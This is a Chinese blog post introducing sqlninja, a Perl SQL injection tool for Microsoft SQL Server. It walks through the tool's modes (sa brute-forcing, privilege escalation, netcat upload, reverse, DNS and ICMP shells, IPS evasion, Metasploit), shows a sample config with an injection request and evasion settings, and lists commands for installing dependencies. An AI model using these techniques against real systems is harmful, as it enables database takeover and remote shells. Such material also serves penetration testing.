欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

sqlninja初识

程序员文章站 2022-07-09 22:07:23
在sql注入方面我一直尊sqlmap为神,最近碰到一个mssql盲注,虽然成功用sqlmap跑出了管理员密码,但是死活找不到网站的后台,所以想试一下sqlninja sqlnin...
在sql注入方面我一直尊sqlmap为神,最近碰到一个mssql盲注,虽然成功用sqlmap跑出了管理员密码,但是死活找不到网站的后台,所以想试一下sqlninja

sqlninja是一款用perl写的一个专门针对Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja没有将精力用在跑数据库上,而是侧重于获得一个shell。
sqlninja的优点如下

 

一个专门针对Microsoft SQL Server的sql注入工具
可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
“sa”口令的强力攻击
如果找到口令后,就将特权提升到“sa”
如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。
使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。 
为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。
逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。
采用“盲目执行”攻击模式,在其它模式失效时,可以用于发布命令并执行诊断。
在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。
如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。




首先看一下sqlninja的原文帮助

# ./sqlninja -h
Unknown option: h
Usage: ./sqlninja
        -m <mode> : Required. Available modes are:
            t/test - test whether the injection is working
            f/fingerprint - fingerprint user, xp_cmdshell and more
            b/bruteforce - bruteforce sa account
            e/escalation - add user to sysadmin server role
            x/resurrectxp - try to recreate xp_cmdshell
            u/upload - upload a .scr file
            s/dirshell - start a direct shell
            k/backscan - look for an open outbound port
            r/revshell - start a reverse shell
            d/dnstunnel - attempt a dns tunneled shell
            i/icmpshell - start a reverse ICMP shell
            c/sqlcmd - issue a 'blind' OS command
            m/metasploit - wrapper to Metasploit stagers
        -f <file> : configuration file (default: sqlninja.conf)
        -p <password> : sa password
        -w <wordlist> : wordlist to use in bruteforce mode (dictionary method 
                        only)
        -g : generate debug script and exit (only valid in upload mode)
        -v : verbose output
        -d <mode> : activate debug
            1 - print each injected command
            2 - print each raw HTTP request
            3 - print each raw HTTP response
            all - all of the above
        ...see sqlninja-howto.html for details

 

sqlninja的参数很少,比较容易理解

 

-m                            #指定攻击模式,有以下几个
    t/test                    #测试连接是否是注入点
    f/fingerprint             #指纹识别,判断用户,数据库, xp_cmdshell是否能用等等
    b/bruteforce              #暴力破解sa密码,可以-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举
    e/escalation              #提权用,必须用-p指定sa的password,成功就会把当前数据库用户加入到sa组里面
    x/resurrectxp             #尝试恢复xp_cmdshelli
    u/upload                  #使用get和post上传二进制文件,-p可以指定sa的password,-g表示只生成上传文件,但并不上传
    s/dirshell                #获得目标主机的shell
    k/backscan                #查看开放的目标端口
    r/revshell                #反弹回一个shell,和dirshell相反
    d/dnstunnel               #指定使用dns作为传输通道,可用-p指定sa的password,为什么有这个模式。。因为可能服务器连icmp都禁止。。同样,想要使用这个模式得先用upload模式上传dnstun.exe
    i/icmpshell               #当dirshell和revshell都失败的情况下,可以用这个模式把shell藏在icmp里,但是先要上传icmpsh.exe(在upload模式里)
    c/sqlcmd                  #以上方法都失败之后,可以用他执行简单的cmd命令,可惜的是没回显
    m/metasploit              #使用meterpreter作为shell
 
-f <file>                     #指定配置文件,sqlninja没有类似sqlmap的"-u"参数,注入网址是写在配置文件里的,默认是sqlninja.conf
在-f下面又有以下参数
   0 - Database version (2000/2005)   //检测当前数据库版本
   1 - Database user   //当前数据库用户
   2 - Database user rights  //当前数据库用户权限
   3 - Whether xp_cmdshell is working  //检查xp_cmdshell是否可以用
   4 - Whether mixed or Windows-only authentication is used  //是否windows本地系统权限
   a - All of the above  //以上所有选项
   h - Print this menu   //显示当前帮助菜单
   q - exit  //退出
 
-p                            #sa账户密码

 

sqlninja.conf示例文件



# GET EXAMPLE:
 --httprequest_start--
 GET https://www.victim.com/page.asp?vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah HTTP/1.0
 Host: www.victim.com
 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
 Accept-Language: en-us,en;q=0.7,it;q=0.3
 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
 Connection: close
 --httprequest_end--
.....
lhost = 165.118.155.176(自己主机的IP)
 
# Interface to sniff when in backscan mode
device = eth0
 
# Evasion techniques to be used. Possible choices are:
# 1 - Query hex-encoding
# 2 - Comments as separators
# 3 - Random case
# 4 - Random URI encoding
# All techniques can be combined, so the following is legal:
# evasion = 1234
# However, keep in mind that using too many techniques at once leads to very
# long queries, that might create problems when using GET. Default: no evasion
# evasion = 12
 
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /opt/metasploit

 

题外话:
由于sqlninja加载了众多的第三方模块,所以要先安装所需的模块
由于一个个编译太麻烦了, 所以打算使用cpanm, cpanm可以方便的安装perl的第三方模块
先安装cpanm

root@ecglobal1:~# wget --no-check-certificate http://bit.ly/cpanm

root@ecglobal1:~# mv cpanm /usr/local/bin

root@ecglobal1:~# chmod a+x cpanm

安装NetPacket模块

root@ecglobal1:~# cpanm NetPacket

安装NetPcap模块


root@ecglobal1:/opt# apt-get install libpcap-dev libnids-dev libnet1-dev
root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-Pcap-0.14.tar.gz 
root@ecglobal1:/opt# tar -zxvf Net-Pcap-0.14.tar.gz
root@ecglobal1:/opt# cd Net-Pcap*
root@ecglobal1:/opt# perl Makefile.PL
root@ecglobal1:/opt# make 
root@ecglobal1:/opt# make install

 

安装Net-DNS

 

root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/N/NL/NLNETLABS/Net-DNS-0.72.tar.gz
root@ecglobal1:/opt# tar -zxvf Net*
root@ecglobal1:/opt# cd Net-DNS*
root@ecglobal1:/opt/Net-DNS-0.72# perl Makefile.PL
root@ecglobal1:/opt/Net-DNS-0.72# make 
root@ecglobal1:/opt/Net-DNS-0.72# make install




安装Net-RawIP


root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz 
root@ecglobal1:/opt# tar -zxvf Net-RawIP*
root@ecglobal1:/opt# cd Net-RawIP*
root@ecglobal1:/opt# perl Makefile.PL
root@ecglobal1:/opt# make
root@ecglobal1:/opt# make install